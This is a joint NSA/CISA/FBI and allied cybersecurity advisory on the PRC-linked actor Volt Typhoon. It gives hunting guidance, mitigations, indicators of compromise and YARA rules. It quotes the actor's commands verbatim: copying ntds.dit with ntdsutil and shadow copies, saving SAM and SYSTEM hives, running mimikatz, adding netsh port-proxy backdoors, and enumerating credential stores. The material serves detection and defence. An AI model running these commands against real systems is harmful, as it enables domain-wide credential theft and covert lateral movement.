TLP:CLEAR

People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection

Summary

The United States and international cybersecurity authorities are issuing this joint Cybersecurity Advisory (CSA) to highlight a recently discovered cluster of activity of interest associated with a People's Republic of China (PRC) state-sponsored cyber actor, also known as [Volt Typhoon](). Private sector partners have identified that this activity affects networks across U.S. critical infrastructure sectors, and the authoring agencies believe the actor could apply the same techniques against these and other sectors worldwide.

This advisory from the United States National Security Agency (NSA), the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Federal Bureau of Investigation (FBI), the Australian Signals Directorate's Australian Cyber Security Centre (ACSC), the Communications Security Establishment's Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NCSC-NZ), and the United Kingdom National Cyber Security Centre (NCSC-UK) (hereafter referred to as the "authoring agencies") provides an overview of hunting guidance and associated best practices to detect this activity.

One of the actor's primary tactics, techniques, and procedures (TTPs) is living off the land, which uses built-in network administration tools to perform their objectives. This TTP allows the actor to evade detection by blending in with normal Windows system and network activities, avoid endpoint detection and response (EDR) products that would alert on the introduction of third-party applications to the host, and limit the amount of activity that is captured in default logging configurations. Some of the built-in tools this actor uses are: `wmic`, `ntdsutil`, `netsh`, and `PowerShell`. The advisory

TLP:CLEAR

provides examples of the actor's commands along with detection signatures to aid network defenders in hunting for this activity. Many of the behavioral indicators included can also be legitimate system administration commands that appear in benign activity. Care should be taken not to assume that findings are malicious without further investigation or other indications of compromise.

TLP:CLEAR

Contents

TLP:CLEAR

Technical Details

This advisory uses the MITRE ATT&CK for Enterprise framework, version 13. See the *Appendix: MITRE ATT&CK Techniques* for all referenced tactics and techniques.

Background

The authoring agencies are aware of recent People's Republic of China (PRC) state-sponsored cyber activity and have identified potential indicators associated with these techniques. This advisory will help net defenders hunt for this activity on their systems. It provides many network and host artifacts associated with the activity occurring after the network has been initially compromised, with a focus on command lines used by the cyber actor. An *Indicators of compromise (IOCs) summary* is included at the end of this advisory. For a downloadable copy of IOCs, see aa23-144a.stix_.xml (STIX, 35 kB).

Especially for living off the land techniques, it is possible that some command lines might appear on a system as the result of benign activity and would be false positive indicators of malicious activity. Defenders must evaluate matches to determine their significance, applying their knowledge of the system and baseline behavior. Additionally, if creating detection logic based on these commands, network defenders should account for variability in command string arguments, as items such as ports used may differ across environments.

Artifacts

Network artifacts

The actor has leveraged compromised small office/home office (SOHO) network devices as intermediate infrastructure to obscure their activity by having much of the command and control (C2) traffic emanate from local ISPs in the geographic area of the victim. Owners of SOHO devices should ensure that network management interfaces are not exposed to the Internet to avoid them being re-purposed as redirectors by malicious actors. If they must be exposed to the Internet, device owners and operators should ensure they follow zero trust principles and maintain the highest level of authentication and access controls possible.

The actor has used Earthworm and a custom Fast Reverse Proxy (FRP) client with hardcoded C2 callbacks [T1090] to ports 8080, 8443, 8043, 8000, and 10443 with

various filenames including, but not limited to: cisco_up.exe, cl64.exe, vm3dservice.exe, watchdogd.exe, Win.exe, WmiPreSV.exe, and WmiPrvSE.exe.

Host artifacts

Windows management instrumentation (WMI/WMIC)

The actor has executed the following command to gather information about local drives [T1082]:

```
cmd.exe /C "wmic path win32_logicaldisk get
caption,filesystem,freespace,size,volumename"
```

This command does not require administrative credentials to return results. The command uses a command prompt [T1059.003] to execute a Windows Management Instrumentation Command Line (WMIC) query, collecting information about the storage devices on the local host, including drive letter, file system (e.g., new technology file system [NTFS]), free space and drive size in bytes, and an optional volume name. Windows Management Instrumentation (WMI) is a built-in Windows tool that allows a user to access management information from hosts in an enterprise environment. The command line version of WMI is called WMIC.

By default, WMI Tracing is not enabled, so the WMI commands being executed and the associated user might not be available. Additional information on WMI events and tracing can be found in the *References* section of the advisory.

Ntds.dit Active Directory database

The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive from Windows domain controllers (DCs) out of the network to perform password cracking [T1003.003]. (The ntds.dit file is the main Active Directory (AD) database file and, by default, is stored at %SystemRoot%\NTDS\ntds.dit. This file contains information about users, groups, group memberships, and password hashes for all users in the domain; the SYSTEM registry hive contains the boot key that is used to encrypt information in the ntds.dit file.) Although the ntds.dit file is locked while in use by AD, a copy can be made by creating a Volume Shadow Copy and extracting the ntds.dit file from the Shadow Copy. The SYSTEM registry hive may also be obtained from the Shadow Copy. The following example commands show the actor creating a Shadow Copy and then extracting a copy of the ntds.dit file from it.

```
cmd /c vssadmin create shadow /for=C: >
C:\Windows\Temp\<filename>.tmp
cmd /c copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTD
S\ntds.dit C:\Windows\Temp > C:\Windows\Temp\<filename>.tmp
```

The built-in Ntdsutil.exe tool performs all these actions using a single command. There are several ways to execute Ntdsutil.exe, including running from an elevated command prompt (cmd.exe), using WMI/WMIC, or PowerShell. Defenders should look for the execution of Ntdsutil.exe commands using long, short, or a combination of the notations. For example, the long notation command `activate instance ntds ifm` can also be executed using the short notation `ac i ntds i`. Table 1 provides the long and short forms of the arguments used in the sample Ntdsutil.exe command, along with a brief description of the arguments.

Table 1: Ntdsutil.exe command syntax

Long form	Short form	Description
activate instance %	ac i %	Sets variable % as the active instance for ntdsutil to use
ifm	i	Install from media (ifm). Creates installation media to be used with DCPromo so the server will not need to copy data from another Domain Controller on the network

The actor has executed WMIC commands [T1047] to create a copy of the ntds.dit file and SYSTEM registry hive using ntdsutil.exe. Each of the following actor commands is a standalone example; multiple examples are provided to show how syntax and file paths may differ per environment.

```
wmic process call create "ntdsutil \"ac i ntds\" ifm \"create
full C:\Windows\Temp\pro
wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\"
ifm \"create full C:\Windows\Temp\Pro"
wmic process call create "cmd.exe /c mkdir
C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create
full C:\Windows\Temp\tmp\"
"cmd.exe" /c wmic process call create "cmd.exe /c mkdir
C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm
\"create full C:\Windows\Temp\McAfee_Logs\"
```

```
cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir
C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create
full C:\Windows\Temp\tmp\"  1>
\\127.0.0.1\ADMIN$\<timestamp value> 2>&1
```

Note: The <timestamp value> would be an epoch timestamp following the format like "__1684956600.123456".

Each actor command above creates a copy of the ntds.dit database and the SYSTEM and SECURITY registry hives in the `C:\Windows\Temp\<folder>` directory, where `<folder>` is replaced with the path specified in the command (e.g., pro, tmp, or McAfee_Logs). By default, the hidden `ADMIN$` share is mapped to `C:\Windows\`, so the last command will direct standard output and error messages from the command to a file within the folder specified.

The actor has also saved the files directly to the `C:\Windows\Temp` and `C:\Users\Public` directories, so the entirety of those directory structures should be analyzed. Ntdsutil.exe creates two subfolders in the directory specified in the command: an Active Directory folder that contains the ntds.dit and ntds.jfm files, and a registry folder that contains the SYSTEM and SECURITY hives. Defenders should look for this folder structure across their network:

```
<path specified in command>\Active Directory\ntds.dit
<path specified in command>\Active Directory\ntds.jfm
<path specified in command>\registry\SECURITY
<path specified in command>\registry\SYSTEM
```

When one of the example commands is executed, several successive log entries are created in the Application log, under the `ESENT` Source. Associated events can be viewed in Windows Event Viewer by navigating to: `Windows Logs | Application`. To narrow results to relevant events, select Filter Current Log from the Actions menu on the right side of the screen. In the Event sources dropdown, check the box next to ESENT, then limit the logs to ID numbers 216, 325, 326, and 327. Clicking the OK box will apply the filters to the results.

Since ESENT logging is used extensively throughout Windows, defenders should focus on events that reference ntds.dit. If such events are present, the events' details should contain the file path where the file copies were created. Since these files can be

deleted, or enhanced logging may not be configured on hosts, the file path can greatly aid in a hunt operation. Identifying the user associated with this activity is also a critical step in a hunt operation as other actions by the compromised—or actor-created—user account can be helpful to understand additional actor TTPs, as well as the breadth of the actor's actions.

Note: If an actor can exfiltrate the ntds.dit and SYSTEM registry hive, the entire domain should be considered compromised, as the actor will generally be able to crack the password hashes for domain user accounts, create their own accounts, and/or join unauthorized systems to the domain. If this occurs, defenders should follow guidance for removing malicious actors from victim networks, such as CISA's Eviction Guidance for Network Affected by the SolarWinds and Active Directory/M365 Compromise.

In addition to the above TTPs used by the actor to copy the ntds.dit file, the following tools could be used by an actor to obtain the same information:

- Secretsdump.py
  - *Note: This script is a component of Impacket, which the actor has been known to use*
- Invoke-NinjaCopy (PowerShell)
- DSInternals (PowerShell)
- FgDump
- Metasploit

Best practices for securing ntds.dit include hardening Domain Controllers and monitoring event logs for ntdsutil.exe and similar process creations. Additionally, any use of administrator privileges should be audited and validated to confirm the legitimacy of executed commands.

PortProxy

The actor has used the following commands to enable port forwarding [T1090] on the host:

```
"cmd.exe /c "netsh interface portproxy add v4tov4
listenaddress=0.0.0.0 listenport=9999
connectaddress=<rfc1918 internal ip address>
connectport=8443 protocol=tcp""
```

```
"cmd.exe /c netsh interface portproxy add v4tov4
listenport=50100 listenaddress=0.0.0.0 connectport=1433
connectaddress=<rfc1918 internal ip address>"
```

where `<rfc1918 internal ip address>` is replaced with an IPv4 address internal to the network, omitting the < >'s.

Netsh is a built-in Windows command line scripting utility that can display or modify the network settings of a host, including the Windows Firewall. The portproxy add command is used to create a host:port proxy that will forward incoming connections on the provided listenaddress and listenport to the connectaddress and connectport. Administrative privileges are required to execute the portproxy command. Each portproxy command above will create a registry key in the `HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp\` path. Defenders should look for the presences of keys in this path and investigate any anomalous entries.

Note: Using port proxies is not common for legitimate system administration since they can constitute a backdoor into the network that bypasses firewall policies. Administrators should limit port proxy usage within environments and only enable them for the period of time in which they are required.

Defenders should also use unusual IP addresses and ports in the command lines or registry entries to identify other hosts that are potentially included in actor actions. All hosts on the network should be examined for new and unusual firewall and port forwarding rules, as well as IP addresses and ports specified by the actor. If network traffic or logging is available, defenders should attempt to identify what traffic was forwarded though the port proxies to aid in the hunt operation. As previously mentioned, identifying the associated user account that made the networking changes can also aid in the hunt operation.

Firewall rule additions and changes can be viewed in Windows Event Viewer by navigating to: `Applications and Service Logs | Microsoft | Windows | Windows Firewall With Advanced Security | Firewall`.

In addition to host-level changes, defenders should review perimeter firewall configurations for unauthorized changes and/or entries that may permit external

connections to internal hosts. The actor is known to target perimeter devices in their operations. Firewall logs should be reviewed for any connections to systems on the ports listed in any portproxy commands discovered.

PowerShell

The actor has used the following PowerShell [T1059.001] command to identify successful logons to the host [T1033]:

```
Get-EventLog security -instanceid 4624
```

Note: Event ID 4624 is logged when a user successfully logs on to a host and contains useful information such as the logon type (e.g., interactive or networking), associated user and computer account names, and the logon time. Event ID 4624 entries can be viewed in Windows Event Viewer by navigating to: `Windows Logs | Security`. PowerShell logs can be viewed in Event Viewer: `Applications and Service Logs | Windows PowerShell`.

This command identifies what user account they are currently leveraging to access the network, identify other users logged on to the host, or identify how their actions are being logged. If the actor is using a password spray technique [T1110.003], there may be several failed logon (Event ID 4625) events for several different user accounts, followed by one or more successful logons (Event ID 4624) within a short period of time. This period may vary by actor but can range from a few seconds to a few minutes.

If the actor is using brute force password attempts [T1110] against a single user account, there may be several Event ID 4625 entries for that account, followed by a successful logon Event ID 4624. Defenders should also look for abnormal account activity, such as logons outside of normal working hours and impossible time-and-distance logons (e.g., a user logging on from two geographically separated locations at the same time).

Impacket

The actor regularly employs the use of Impacket's wmiexec, which redirects output to a file within the victim host's `ADMIN$` share (`C:\Windows\`) containing an epoch timestamp in its name. The following is an example of the "`dir`" command being executed by wmiexec.py:

```
cmd.exe /Q /c dir 1>
\\127.0.0.1\ADMIN$\__1684956600.123456 2>&1
```

Note: Discovery of an entry similar to the example above in the Windows Event Log and/or a file with a name in a similar format may be evidence of malicious activity and should be investigated further. In the event that only a filename is discovered, the epoch timestamp within the filename reflects the time of execution by default and can be used to help scope threat hunting activities.

Enumeration of the environment

The following commands were used by the actor to enumerate the network topology [T1016], the active directory structure [T1069.002], and other information about the target environment [T1069.001], [T1082]:

```
arp -a
curl www.ip-api.com
dnscmd . /enumrecords /zone {REDACTED}
dnscmd . /enumzones
dnscmd /enumrecords {REDACTED} . /additional
ipconfig /all
ldifde.exe -f c:\windows\temp\<filename>.txt -p subtree
net localgroup administrators
net group /dom
net group "Domain Admins" /dom
netsh interface firewall show all
netsh interface portproxy show all
netsh interface portproxy show v4tov4
netsh firewall show all
netsh portproxy show v4tov4
netstat -ano
reg query hklm\software\
systeminfo
tasklist /v
whoami
wmic volume list brief
wmic service brief
```

```
wmic product list brief
wmic baseboard list full
wevtutil qe security /rd:true /f:text
 /q:*[System[(EventID=4624) and
 TimeCreated[@SystemTime>='{REDACTED}']] and
 EventData[Data='{REDACTED}']]
```

Additional credential theft

The actor also used the following commands to identify additional opportunities for obtaining credentials in the environment [T1555], [T1003]:

```
dir C:\Users\{REDACTED}\.ssh\known_hosts
dir
C:\users\{REDACTED}\appdata\roaming\Mozilla\firefox\profile
s
mimikatz.exe
reg query hklm\software\OpenSSH
reg query hklm\software\OpenSSH\Agent
reg query hklm\software\realvnc
reg query hklm\software\realvnc\vncserver
reg query hklm\software\realvnc\Allusers
reg query hklm\software\realvnc\Allusers\vncserver
reg query hkcu\software\{REDACTED}\putty\session
reg save hklm\sam ss.dat
reg save hklm\system sy.dat
```

Additional commands

The actor executed the following additional commands:

```
7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z
C:\Windows\system32\pcwrun.exe
C:\Users\Administrator\Desktop\Win.exe
C:\Windows\System32\cmdbak.exe /c ping -n 1 127.0.0.1 >
C:\Windows\temp\putty.log
C:\Windows\Temp\tmp.log
"cmd.exe" /c dir \\127.0.0.1\C$ /od
"cmd.exe" /c ping -a -n 1 <IP address>
"cmd.exe" /c wmic /user:<username> /password:<password>
process call create "net stop \"<service name>\" >
C:\Windows\Temp\tmp.log"
```

```
cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__<timestamp value>
2>&1
net use \\127.0.0.1\IPC$ /y /d
powershell start-process -filepath
c:\windows\temp\<filename>.bat -windowstyle Hidden
rar.exe a -{REDACTED} c:\Windows\temp\{REDACTED}
D:\{REDACTED}\
wmic /node:{REDACTED} /user:{REDACTED} /password:{REDACTED}
cmd /c whoami
xcopy C:\windows\temp\hp d:\{REDACTED}
```

Mitigations

The authoring agencies recommend organizations implement the mitigations below to improve your organization's cybersecurity posture on the basis of the threat actor's activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity Frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA's Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

- Defenders should harden domain controllers and monitor event logs [2.T] for ntdsutil.exe and similar process creations. Additionally, any use of administrator privileges should be audited and validated to confirm the legitimacy of executed commands.

- Administrators should limit port proxy usage within environments and only enable them for the period of time in which they are required [2.X].

- Defenders should investigate unusual IP addresses and ports in command lines, registry entries, and firewall logs to identify other hosts that are potentially involved in actor actions.

- In addition to host-level changes, defenders should review perimeter firewall configurations for unauthorized changes and/or entries that may permit external connections to internal hosts.

- Defenders should also look for abnormal account activity, such as logons outside of normal working hours and impossible time-and-distance logons (e.g., a user logging on from two geographically separated locations at the same time).

- Defenders should forward log files to a hardened centralized logging server, preferably on a segmented network [2.F].

Logging recommendations

To be able to detect the activity described in this CSA, defenders should set the audit policy for Windows security logs to include "`audit process creation`" and "`include command line in process creation events`" in addition to accessing the logs. Otherwise, the default logging configurations may not contain the necessary information.

Enabling these options will create Event ID 4688 entries in the Windows Security log to view command line processes. Given the cost and difficulty of logging and analyzing this kind of activity, if an organization must limit the requirements, they should focus on enabling this kind of logging on systems that are externally facing or perform authentication or authorization, especially including domain controllers.

To hunt for the malicious WMI and PowerShell activity, defenders should also log WMI and PowerShell events. By default, WMI Tracing and deep PowerShell logging are not enabled, but they can be enabled by following the configuration instructions linked in the *References* section.

The actor takes measures to hide their tracks, such as clearing logs [T1070.001]. To ensure log integrity and availability, defenders should forward log files to a hardened centralized logging server, preferably on a segmented network. Such an architecture makes it harder for an actor to cover their tracks as evidence of their actions will be captured in multiple locations.

Defenders should also monitor logs for Event ID 1102, which is generated when the audit log is cleared. All Event ID 1102 entries should be investigated as logs are

generally not cleared and this is a known actor tactic to cover their tracks. Even if an event log is cleared on a host, if the logs are also stored on a logging server, the copy of the log will be preserved.

This activity is often linked to malicious exploitation of edge devices and network management devices. Defenders should enable logging on their edge devices, to include system logs, to be able to identify potential exploitation and lateral movement. They should also enable network-level logging, such as sysmon, webserver, middleware, and network device logs.

Indicators of compromise (IOCs) summary

TTPs

- Exploiting vulnerabilities [T1190] in widely used software including, but not limited to:
    - CVE-2021-40539—ManageEngine ADSelfService Plus.
        - https://www.cisa.gov/uscert/ncas/alerts/aa21-259a.
    - CVE-2021-27860—FatPipe WARP, IPVPN, MPVPN.
        - https://www.ic3.gov/Media/News/2021/211117-2.pdf.

- Using webshells for persistence and exfiltration [T1505.003], with at least some of the webshells derived from the *Awen* webshell.

- Using compromised Small-Office Home-Office (SOHO) devices (e.g. routers) to obfuscate the source of the activity [T1090.002].
    - Most common types include ASUS, Cisco RV, Draytek Vigor, FatPipe IPVPN/MPVPN/WARP, Fortinet Fortigate, Netgear Prosafe, and Zyxel USG devices.
    - Common CVEs for these devices and mitigation guidance can be found in the joint Cybersecurity Advisory, "Top CVEs Actively Exploited by People's Republic of China State-Sponsored Cyber Actors."

- Using living off the land tools for discovery, lateral movement, and collection activities, to include:
    - certutil
    - dnscmd
    - ldifde
    - makecab
    - net user/group/use
    - netsh
    - nltest

- ▪ ntdsutil
- ▪ PowerShell
- ▪ req query/save
- ▪ systeminfo
- ▪ tasklist
- ▪ wevtutil
- ▪ wmic
- ▪ xcopy

- Selective clearing of Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity [T1070].

- Using open source "hacktools" tools, such as:
  - ▪ Fast Reverse Proxy (frp)
    - ◆ Probably derived from the publicly-available *fatedier* and *EarthWorm* variants.
  - ▪ Impacket
    - ◆ To detect Impacket usage, see the joint Cybersecurity Advisory: "Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization".
  - ▪ Mimikatz.exe
  - ▪ Remote administration tools
    - ◆ Defenders should consult the joint Cybersecurity Advisory: "Protecting Against Malicious Use of Remote Monitoring and Management Software".

Command execution

File names and directory paths used in these commands are only meant to serve as examples. Actual names and paths may differ depending on environment and activity, so defenders should account for variants when performing queries.

Note: Many of the commands are derivatives of common system administration commands that could generate false positives when used alone without additional indicators.

```
7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z
c:\windows\temp\*

"C:\pstools\psexec.exe" \\{REDACTED} -s cmd /c "cmd.exe /c
"netsh interface portproxy delete v4tov4
listenaddress=0.0.0.0 listenport=9999""

C:\Windows\system32\pcwrun.exe
C:\Users\Administrator\Desktop\Win.exe
```

```
cmd.exe /C dir /S \\{REDACTED}\c$\Users\{REDACTED} >>
c:\windows\temp\{REDACTED}.tmp
```

```
"cmd.exe" /c wmic process call create "cmd.exe /c mkdir
C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm
\"create full C:\Windows\Temp\McAfee_Logs\"
```

```
cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__<timestamp value>
2>&1
```

```
cmd.exe /Q /c net group "domain admins" /dom
1>\\127.0.0.1\ADMIN$\__<timestamp value> 2>&1
```

```
cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir
C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create
full C:\Windows\Temp\tmp\"  1>
\\127.0.0.1\ADMIN$\<timestamp value>  2>&1
```

```
D:\{REDACTED}\xcopy C:\windows\temp\hp d:\{REDACTED}
```

```
Get-EventLog security -instanceid 4624
```

```
ldifde.exe -f c:\windows\temp\cisco_up.txt -p subtree
```

```
makecab ..\backup\210829-020000.zip
..\webapps\adssp\html\Lock.lic
```

```
move "\\<redacted>\c$\users\public\Appfile\registry\SYSTEM"
..\backup\210829-020000.zip
```

```
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0
listenport=9999 connectaddress={REDACTED} connectport=8443
protocol=tcp
```

```
netsh interface portproxy delete v4tov4
listenaddress=0.0.0.0 listenport=9999
```

```
Rar.exe a -{REDACTED} c:\Windows\temp\DMBC2C61.tmp
```

```
start-process -filepath c:\windows\temp\<filename>.bat -
windowstyle hidden 1
```

Note: The batch file in question (`<filename>.bat`) could use any name, and no discernable pattern has been determined at this time.

```
wmic process call create "cmd.exe /c mkdir
C:\users\public\Appfile & ntdsutil \"ac i ntds\" ifm
\"create full C:\users\public\Appfile\" q q
```

```
wmic process call create "cmd.exe /c mkdir
C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create
full C:\Windows\Temp\tmp\"

wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\"
ifm \"create full C:\Windows\Temp\Pro"

wmic process call create "ntdsutil \"ac i ntds\" ifm
\"create full C:\Windows\Temp\"
```

Command line patterns

Certain patterns in commands (with asterisks for wildcards) can be used to identify potentially malicious commands:

- `cmd.exe /C dir /S \\* >> *`
- `cmd.exe /Q /c * 1> \\127.0.0.1\ADMIN$\__*.*>&1`
- `powershell start-process -filepath c:\windows\temp\*.exe -windowstyle hidden`

File paths

The most common paths where files and executables used by the actor have been found include:

- `C:\Users\Public\Appfile` (including subdirectories)
- `C:\Perflogs` (including subdirectories)
- `C:\Windows\Temp` (including subdirectories)

File names

The file names the actor has previously used for such things as malware, scripts, and tools include:

backup.bat	cl64.exe	update.bat	Win.exe
billagent.exe	nc.exe	update.exe	WmiPrvSE.exe
billaudit.exe	rar.exe	vm3dservice.exe	WmiPreSV.exe
cisco_up.exe	SMSvcService.exe	watchdogd.exe	

In addition to the file names and paths above, malicious files names, believed to be randomly created, in the following format have also been discovered:

`C:\Windows\[a-zA-Z]{8}.exe`

SHA-256 file hashes

- `f4dd44bc19c19056794d29151a5b1bb76afd502388622e24c863a8494af147dd`
- `ef09b8ff86c276e9b475a6ae6b54f08ed77e09e169f7fc0872eb1d427ee27d31`
- `d6ebde42457fe4b2a927ce53fc36f465f0000da931cfab9b79a36083e914ceca`

- 472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d
- 66a19f7d2547a8a85cee7a62d0b6114fd31afdee090bd43f36b89470238393d7
- 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71
- 41e5181b9553bbe33d91ee204fe1d2ca321ac123f9147bb475c0ed32f9488597
- c7fee7a3ffaf0732f42d89c4399cbff219459ae04a81fc6eff7050d53bd69b99
- 3a9d8bb85fbcfe92bae79d5ab18e4bca9eaf36cea70086e8d1ab85336c83945f
- fe95a382b4f879830e2666473d662a24b34fccf34b6b3505ee1b62b32adafa15
- ee8df354503a56c62719656fae71b3502acf9f87951c55ffd955feec90a11484

User-agent

In some cases, the following user-agent string (including the extra spacing) was identified performing reconnaissance activities by this actor:

```
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0)
Gecko/20100101 Firefox/68.0
```

Note: The spacing between ")" and "Gecko" is 3 tabs followed by 4 spaces.

Yara rules

```
rule ShellJSP {
    strings:
        $s1 = "decrypt(fpath)"
        $s2 = "decrypt(fcontext)"
        $s3 = "decrypt(commandEnc)"
        $s4 = "upload failed!"
        $s5 = "aes.encrypt(allStr)"
        $s6 = "newid"

    condition:
        filesize < 50KB and 4 of them
}
```

```
rule EncryptJSP {
    strings:
        $s1 = "AEScrypt"
        $s2 = "AES/CBC/PKCS5Padding"
        $s3 = "SecretKeySpec"
        $s4 = "FileOutputStream"
        $s5 = "getParameter"
        $s6 = "new ProcessBuilder"
        $s7 = "new BufferedReader"
        $s8 = "readLine()"

    condition:
        filesize < 50KB and 6 of them
}
```

```
rule CustomFRPClient {
   meta:
        description="Identify instances of the actor's custom FRP tool based
on unique strings chosen by the actor and included in the tool"
   strings:
        $s1 = "%!PS-Adobe-" nocase ascii wide
        $s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide
        $s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase
ascii wide
        $s4 = "MAGA2024!!!" nocase ascii wide
        $s5 = "HTTP_PROXYHost: %s" nocase ascii wide

   condition:
        all of them
}
```

```
rule HACKTOOL_FRPClient {
   meta:
        description="Identify instances of FRP tool (Note: This tool is
known to be used by multiple actors, so hits would not necessarily imply
activity by the specific actor described in this report)"
   strings:
        $s1 = "%!PS-Adobe-" nocase ascii wide
        $s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide
        $s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase
ascii wide
        $s4 = "HTTP_PROXYHost: %s" nocase ascii wide

   condition:
        3 of them
}
```

References

Active Directory and domain controller hardening:
- Best practices: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory

CISA regional cyber threats:
- PRC state-sponsored activity: China Cyber Threat Overview and Advisories

Microsoft Threat Intelligence blog:
- Volt Typhoon activity: https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/

Ntdsutil.exe:
- Overview: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343(v=ws.11)

PowerShell:
- Best practices: https://media.defense.gov/2022/Jun/22/2003021689/-1/-1/0/CSI_KEEPING_POWERSHELL_SECURITY_MEASURES_TO_USE_AND_EMBRACE_20220622.PDF
- Logging configuration: https://www.mandiant.com/resources/blog/greater-visibility

Windows command line process auditing:
- Overview: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing

Windows Defender Firewall:
- Best practices: https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/best-practices-configuring
- Logging configuration: https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/configure-the-windows-firewall-log

Windows management instrumentation:
- Events: https://learn.microsoft.com/en-us/windows/win32/wmisdk/tracing-wmi-activity#obtaining-wmi-events-through-event-viewer
- Tracing activity: https://learn.microsoft.com/en-us/windows/win32/wmisdk/tracing-wmi-activity

Windows password spraying:
- Logging and playbook configuration: https://learn.microsoft.com/en-us/security/compass/incident-response-playbook-password-spray

Acknowledgements

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise does not constitute or imply its endorsement, recommendation, or favoring by the authoring agencies' governments, and this guidance shall not be used for advertising or product endorsement purposes.

Trademark recognition

Active Directory®, Microsoft®, PowerShell®, and Windows® are registered trademarks of Microsoft Corporation. MITRE® and ATT&CK® are registered trademarks of The MITRE Corporation.

Purpose

This document was developed in furtherance of the authoring agencies' cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

U.S. organizations: Urgently report any anomalous activity or incidents, including based upon technical information associated with this Cybersecurity Advisory, to CISA at Report@cisa.dhs.gov or cisa.gov/report or to the FBI via your local FBI field office listed at https://www.fbi.gov/contact-us/field-offices.
NSA Cybersecurity Report Questions and Feedback: CybersecurityReports@nsa.gov
NSA Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov
NSA Media Inquiries / Press Desk: 443-634-0721, MediaRelations@nsa.gov

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and to access alerts and advisories.

Canadian organizations: Report incidents by emailing CCCS at contact@cyber.gc.ca.

New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident at ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Appendix: MITRE ATT&CK Techniques

Table 2 captures all referenced threat actor tactics and techniques in this advisory.

Table 2: All referenced threat actor tactics and techniques

Initial Access		
Technique Title	**ID**	**Use**
Exploit Public-facing Application	T1190	Actor used public-facing applications to gain initial access to systems; in this case, Earthworm and PortProxy.
Execution		
Windows Management Instrumentation	T1047	The actor executed WMIC commands to create a copy of the SYSTEM registry.
Command and Scripting Interpreter: PowerShell	T1059.001	The actor used a PowerShell command to identify successful logons to the host.
Command and Scripting Interpreter: Windows Command Shell	T1059.003	The actor used this primary command prompt to execute a query that collected information about the storage devices on the local host.
Persistence		
Server Software Component: Web Shell	T1505.003	The actor used backdoor web servers with web shells to establish persistence to systems, including some of the webshells being derived from *Awen* webshell.
Defense Evasion		
Indicator Removal	T1070	The actor selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity.
Indicator Removal: Clear Windows Event Logs	T1070.001	The actor cleared system event logs to hide activity of an intrusion.
Credential Access		
OS Credential Dumping: NTDS	T1003.003	The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive out of the network to perform password cracking.
Brute Force	T1110	The actor attempted to gain access to accounts with multiple password attempts.
Brute Force: Password Spraying	T1110.003	The actor used commonly used passwords against accounts to attempt to acquire valid credentials.
OS Credential Dumping	T1003	The actor used additional commands to obtain credentials in the environment.

Credentials from Password Stores	T1555	The actor searched for common password storage locations.
Discovery		
System Information Discovery	T1082	The actor executed commands to gather information about local drives.
System Owner/User Discovery	T1033	The actor gathered information about successful logons to the host using a PowerShell command.
Permission Groups Discovery: Local Groups	T1069.001	The actor attempt to find local system groups and permission settings.
Permission Groups Discovery: Doman Groups	T1069.002	The actor used commands to enumerate the active directory structure.
System Network Configuration Discovery	T1016	The actor used commands to enumerate the network topology.
